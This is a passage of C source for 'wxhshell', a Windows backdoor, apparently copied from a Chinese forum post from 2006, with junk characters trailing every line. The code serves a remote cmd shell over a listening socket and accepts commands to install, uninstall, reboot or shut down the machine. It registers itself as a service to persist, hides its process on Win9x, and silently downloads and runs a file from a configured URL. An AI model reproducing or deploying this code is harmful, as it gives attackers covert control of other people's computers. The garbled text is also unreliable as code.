  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rv>K0= t0  
  } P|mV((/m4  
  else { rO8Q||@>A  
*~b3FLzq  
    switch(cmd[0]) { n3w(zB  
  ?' F>DN  
  // 帮助 "Uy==~  
  case '?': { )aY^k|I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )Ih '0>=  
    break; LwDm(gG  
  } &w@~@]  
  // 安装 '_)NI  
  case 'i': { axT-  
    if(Install()) r,^}/<*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A#&Q(g\YE  
    else fNz*E|]8&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &^WJ:BvA|^  
    break; @@$%+XNY  
    } |~Q`D dkX  
  // 卸载 .{6?%lt  
  case 'r': { n^O Wz4  
    if(Uninstall()) DoV<p?U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HD"Pz}k4  
    else -~z]ut<Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CS[[TzC=5  
    break; P $4h_dw  
    } vwZd@%BO  
  // 显示 wxhshell 所在路径 B/#tR^R  
  case 'p': { ofe SGx  
    char svExeFile[MAX_PATH]; iO^z7Y7  
    strcpy(svExeFile,"\n\r"); &%YFO'>>}  
      strcat(svExeFile,ExeFile); 4}nsW}jCc  
        send(wsh,svExeFile,strlen(svExeFile),0); jn+NX)9  
    break; /0|niiI  
    } E8]PV,#xY  
  // 重启 =Rnx!E  
  case 'b': { Al?LO;$Pa?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s^nPSY!  
    if(Boot(REBOOT)) Jz(!eTVs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =\v./Q-  
    else { [H#*#v  
    closesocket(wsh); 7/c[ f  
    ExitThread(0);  4{2)ZI#  
    } " bHeNWZ  
    break; Wj N0KA  
    } o* q F"xG  
  // 关机 SZ+<0Y |  
  case 'd': { W?W vT` T{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BaSNr6 YW  
    if(Boot(SHUTDOWN)) I W_:nm6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b"Ep?=*5  
    else { )IIQ{SwQq  
    closesocket(wsh); >pa tv  
    ExitThread(0); k&\YfE3*  
    } UloZo? e`  
    break; ;bJ2miO"e  
    } Ydv\a6  
  // 获取shell [.e Y xZ{=  
  case 's': { :sT\-MpQvn  
    CmdShell(wsh); W!a~ #R/r-  
    closesocket(wsh); i?^C c\gH  
    ExitThread(0); |.D_[QI  
    break; 5u ED  
  } ~<0!sE&y  
  // 退出 6km{= ```  
  case 'x': { ,}&E=5MF\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %SV"iXxY  
    CloseIt(wsh); % I]?xe6  
    break; y]OW{5(  
    } T7W*S-IW  
  // 离开 \Fh k>  
  case 'q': { hv xvwV1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z~d\d!u1  
    closesocket(wsh); )r O`K  
    WSACleanup(); 5BKmp-m  
    exit(1); y%T5"p$,  
    break; {b@rQCre7  
        } amI$0  
  } yVPkJ  
  } b@ J&jE~d  
^ K8JE,  
  // 提示信息 m,n V,}@J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fjc+{;x  
} \6B,\l]$t@  
  } @Kri)U i  
\mZ\1wzn'{  
  return; uNLB3Rdy}  
} w;$@</  
S3"js4a  
// shell模块句柄 M%7H-^{  
int CmdShell(SOCKET sock) !M~p __  
{ t;+6>sTu  
STARTUPINFO si; rVkoj;[  
ZeroMemory(&si,sizeof(si)); |Iy55~hK`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OwGl&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t/cj z/]  
PROCESS_INFORMATION ProcessInfo; 1r}fnT<  
char cmdline[]="cmd"; =+gp~RR,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NF=FbvNe  
  return 0; /p') u3  
} $;*YdZ`q  
l79jd%/m  
// 自身启动模式 q>&F%;q1]  
int StartFromService(void) ?r@euZ&  
{ ~B%EvG7:n  
typedef struct N}\Da: _  
{ !l'Az3'J|  
  DWORD ExitStatus; |dNtM^  
  DWORD PebBaseAddress; ZNPzQ:I@  
  DWORD AffinityMask; x_Ki5~w5  
  DWORD BasePriority; vCwDE~  
  ULONG UniqueProcessId; =y7]9SOq  
  ULONG InheritedFromUniqueProcessId; XKp%7;  
}   PROCESS_BASIC_INFORMATION; $P]% Px!x  
sZ-]yr\E"  
PROCNTQSIP NtQueryInformationProcess; =S@$"_&  
kP%W:4l0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ua:.97~Ym  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CGg:e:4  
|6B:tw/.  
  HANDLE             hProcess; 32:,g4!~6  
  PROCESS_BASIC_INFORMATION pbi; %dZD;Vhg  
xtjTU;T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9Q :IgY?T  
  if(NULL == hInst ) return 0; o]#Q6J  
!mL,Ue3/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t; n6Q0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h`%K \C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 14\%2nE  
.]ZM2  
  if (!NtQueryInformationProcess) return 0; {mL/)\  
ORa!84L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &F\J%#{  
  if(!hProcess) return 0; 6f=/vRAh$  
p'k stiB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~PvW+UMLk  
FStE/2?  
  CloseHandle(hProcess);  wB5zp  
7V0:^Jov  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MV$>|^'em  
if(hProcess==NULL) return 0; #`a-b<uz  
UVu"meZX  
HMODULE hMod; #`GW7(M  
char procName[255]; G"MpA[a_  
unsigned long cbNeeded; zx(j6  
Kggf!\MR8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >^:g[6Sj  
nA F@47Wo  
  CloseHandle(hProcess); v\-"NHl  
sNvT0  
if(strstr(procName,"services")) return 1; // 以服务启动 $?Aez/  
w0SzK-&  
  return 0; // 注册表启动 7OtQK`P"A  
} `P/*x[?  
U`6QD}c"s  
// 主模块 i*_KHK  
int StartWxhshell(LPSTR lpCmdLine) f'FY<ed<w  
{ W~k!qy `  
  SOCKET wsl; [&nwB!kt  
BOOL val=TRUE; -f9M*7O<gf  
  int port=0; K?[pCF2C  
  struct sockaddr_in door; [tMf KO  
+ y.IDn^  
  if(wscfg.ws_autoins) Install(); ,_rarU)[J  
jT: :o  
port=atoi(lpCmdLine); d?N"NqaN  
kTi QO2H  
if(port<=0) port=wscfg.ws_port; v/+dx/  
*, *"G?  
  WSADATA data; FZ=6x}QZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cYR6+PKua  
bwVv#Z\r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]Jnf. 3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YGWb!|Z$  
  door.sin_family = AF_INET; +1d\ZZA|6&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V"$t>pAG  
  door.sin_port = htons(port); Sa,N1r  
'EZ[aY!);  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NYP3uGH]  
closesocket(wsl); -&)^|Atm  
return 1; ,;+\!'lS  
} 7Wb.(` a<  
A^,(Vyd  
  if(listen(wsl,2) == INVALID_SOCKET) { {+xUAmd  
closesocket(wsl); u~s'<c+8_  
return 1; dt`L}Yi  
} =AD/5E,3  
  Wxhshell(wsl); %4 SREq  
  WSACleanup(); 3]N}k|lb%  
M8[YW|VkP  
return 0; tB_V%qH  
hsqUiB tc6  
} W$'pUhq\H  
C9=f=sGL  
// 以NT服务方式启动 J$e.$ah;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K,IOD t  
{ N7oMtlvL[w  
DWORD   status = 0; !5B9:p~-  
  DWORD   specificError = 0xfffffff; G4x.''r&Sl  
Z;>~<#!4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J`RNik*>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IN%>46e`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }2NH>qvY  
  serviceStatus.dwWin32ExitCode     = 0; =fsaJ@q ,R  
  serviceStatus.dwServiceSpecificExitCode = 0; vhL&az  
  serviceStatus.dwCheckPoint       = 0; ^F"*;8$  
  serviceStatus.dwWaitHint       = 0; G0Wd"AV+  
zl: u@!'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \Flq8S/t^  
  if (hServiceStatusHandle==0) return; Y43#];  
LV]\{'  
status = GetLastError(); COHJJONR  
  if (status!=NO_ERROR) dlT\VWMha(  
{ (|[3/_!;v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nZ bg  
    serviceStatus.dwCheckPoint       = 0; 6\TstY3  
    serviceStatus.dwWaitHint       = 0; :.35pp,0  
    serviceStatus.dwWin32ExitCode     = status; ("lcL2Bq  
    serviceStatus.dwServiceSpecificExitCode = specificError; Vbj?:29A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PzV(e)~7  
    return; '^/E2+  
  } Bw_Ih|y,w  
&)X<yd0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <rC#1wR4  
  serviceStatus.dwCheckPoint       = 0; wP8R=T  
  serviceStatus.dwWaitHint       = 0; < `r+l5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i*^K)SI8  
} ^m+W  
,gOQI S56  
// 处理NT服务事件,比如:启动、停止 J,D{dYLDD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &U=f,9H  
{ YAPD7hA  
switch(fdwControl) /GXO2zO  
{ 0l:5hD,)F  
case SERVICE_CONTROL_STOP: eXOFAd]>u  
  serviceStatus.dwWin32ExitCode = 0; (C3d<a\:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (D l"s`UH~  
  serviceStatus.dwCheckPoint   = 0; 4z*_,@OA  
  serviceStatus.dwWaitHint     = 0; @[FFYVru  
  { ,Tz ,)rY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A0]o/IBz  
  } Tb)x8-0  
  return; OK)0no=OAK  
case SERVICE_CONTROL_PAUSE: X,fTzkGj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IWWFl6$-  
  break; kdHql>0  
case SERVICE_CONTROL_CONTINUE: L|Ydd!m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sN g"JQ  
  break; ZH}NlEn  
case SERVICE_CONTROL_INTERROGATE: A;|DQR()  
  break; uLCU3nI  
}; u!-eP7;7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V")Q4h{  
} rx;U/)~#<  
?hmb"^vlG  
// 标准应用程序主函数 62 _$O"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UA9LI<Y  
{ M[{Cy[ta  
7_3O]e[8  
// 获取操作系统版本 lET)<V(Y  
OsIsNt=GetOsVer(); P X0#X=$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }dHiW:J>  
u#,]>;  
  // 从命令行安装 4bBxZY  
  if(strpbrk(lpCmdLine,"iI")) Install(); :I $2[K  
{S}@P~H =  
  // 下载执行文件 Yo(B8}?0!  
if(wscfg.ws_downexe) { i\ Vpp8<B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NN:TT\!v  
  WinExec(wscfg.ws_filenam,SW_HIDE); L[bGO|O  
} BJE <~"  
bT8UmR98  
if(!OsIsNt) { ul%bo%&~  
// 如果时win9x,隐藏进程并且设置为注册表启动 l xfdJNb  
HideProc(); kwL) &@  
StartWxhshell(lpCmdLine); Ih7Eq/iu  
} d0=nAZZ  
else a82mC r  
  if(StartFromService()) G8s`<:9*  
  // 以服务方式启动 (lnQ!4LK  
  StartServiceCtrlDispatcher(DispatchTable); UBVb#FNF  
else kYs|")isj  
  // 普通方式启动 s z\RmX  
  StartWxhshell(lpCmdLine); |gVO Iq  
^%d{i'9?  
return 0; XZInu5(  
}
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只看该作者 1 发表于: 2006-10-10
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